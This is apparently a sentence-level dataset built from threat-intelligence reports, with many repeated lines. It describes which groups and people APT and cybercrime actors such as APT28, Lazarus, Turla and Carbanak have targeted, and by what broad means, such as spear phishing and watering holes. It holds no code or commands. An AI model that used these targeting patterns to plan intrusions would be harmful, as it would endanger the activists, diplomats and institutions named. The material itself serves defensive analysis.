The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and institutions — often including military installations , intelligence agencies , and other government bodies .
Mark Zuckerberg , Jack Dorsey , Sundar Pichai , and Daniel Ek — the CEOs of Facebook , Twitter , Google and Spotify , respectively — have also fallen victim to the hackers , dispelling the notion that a career in software and technology exempts one from being compromised .
The group is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
OurMine is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February .
Further tracking of the Lazarus’s activities has enabled Kaspersky researchers to discover a new operation , active since at least November 2018 , which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers .
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors .
Keeping in mind the sensitivity of passwords , GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
Gallmaker 's targets are embassies of an Eastern European country .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
360 and Tuisec already identified some Gorgon Group members .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data Exfiltration from high-profile victim organizations .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
It's possible TG-3390 used a waterhole to infect data center employees .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Turla is a notorious group that has been targeting government officials .
Turla is a notorious group that has been targeting diplomats .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant (s ) .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and Barium are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People 's Republics .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language Word for " visage " or " appearance " .
 Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
After reviewing all the malware functionalities , we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
In the latest attack , Donot group is targeting Pakistani businessman working in ChinaA previous , removed , report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
This could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
Based on this , we believe the Rancor attackers were targeting political entities .
Other groups , such as Buhtrap , Corkow and Carbanak , were already known to target and successfully steal money from financial institutions and their customers in Russia .
Since last week , iSIGHT Partners has worked to provide details on the power outage in Ukraine to our global customers .
The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Based on analysis of the data and malware samples we have collected , Unit 42 believes the attacks described herein are the work of a group or set of cooperating groups who have a single mission , collecting information on minority groups who reside in and around northwestern China .
In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .
Our investigation showed that these attacks were targeted , and that the threat actor sought to steal communications data of specific individuals in various countries .
CapabilitiesFormBook is a data stealer , but not a full-fledged banker .
While discussions of threats in this region often focus on " North America " generally or just the United States , nearly 100 campaigns during this period were either specifically targeted at Canadian organizations or were customized for Canadian audiences .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
The first time this happened was at the beginning of the month , when Proofpoint researchers blew the lid off a cyber-espionage campaign named Operation Transparent Tribe , which targeted the Indian embassies in Saudi Arabia and Kazakhstan .
Back in February 2016 , Indian army officials issued a warning against the usage of three apps , WeChat , SmeshApp , and Line , fearing that these apps collected too much information if installed on smartphones used by Indian army personnel .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
Researching this attack and the malware used therein led Microsoft to discover other instances of PLATINUM attacking users in India around August 2015 .
The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and institutions — often including military installations , intelligence agencies , and other government bodies .
Mark Zuckerberg , Jack Dorsey , Sundar Pichai , and Daniel Ek — the CEOs of Facebook , Twitter , Google and Spotify , respectively — have also fallen victim to the hackers , dispelling the notion that a career in software and technology exempts one from being compromised .
The group is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
OurMine is well known : They hijacked WikiLeaks' DNS last month shortly after they took over HBO 's Twitter account ; last year , they took over Mark Zuckerberg 's Twitter and Pinterest accounts ; and they hit both BuzzFeed and TechCrunch not long after that .
Probably the most high-profile attack that GandCrab was behind is a series of infections at customers of remote IT support firms in the month of February .
Further tracking of the Lazarus’s activities has enabled Kaspersky researchers to discover a new operation , active since at least November 2018 , which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers .
Users who failed to patch their systems may find themselves mining cryptocurrency for threat actors .
Keeping in mind the sensitivity of passwords , GoCrack includes an entitlement-based system that prevents users from accessing task data unless they are the original creator or they grant additional users to the task .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
Other groups attributed to Iranian attackers , such as Rocket Kitten , have targeted Iranian individuals in the past , including anonymous proxy users , researchers , journalists , and dissidents .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
The group has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
Gallmaker 's targets are embassies of an Eastern European country .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
360 and Tuisec already identified some Gorgon Group members .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data Exfiltration from high-profile victim organizations .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
It's possible TG-3390 used a waterhole to infect data center employees .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Turla is a notorious group that has been targeting government officials .
Turla is a notorious group that has been targeting diplomats .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years .
Our research indicates that it has started targeting Japanese users .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
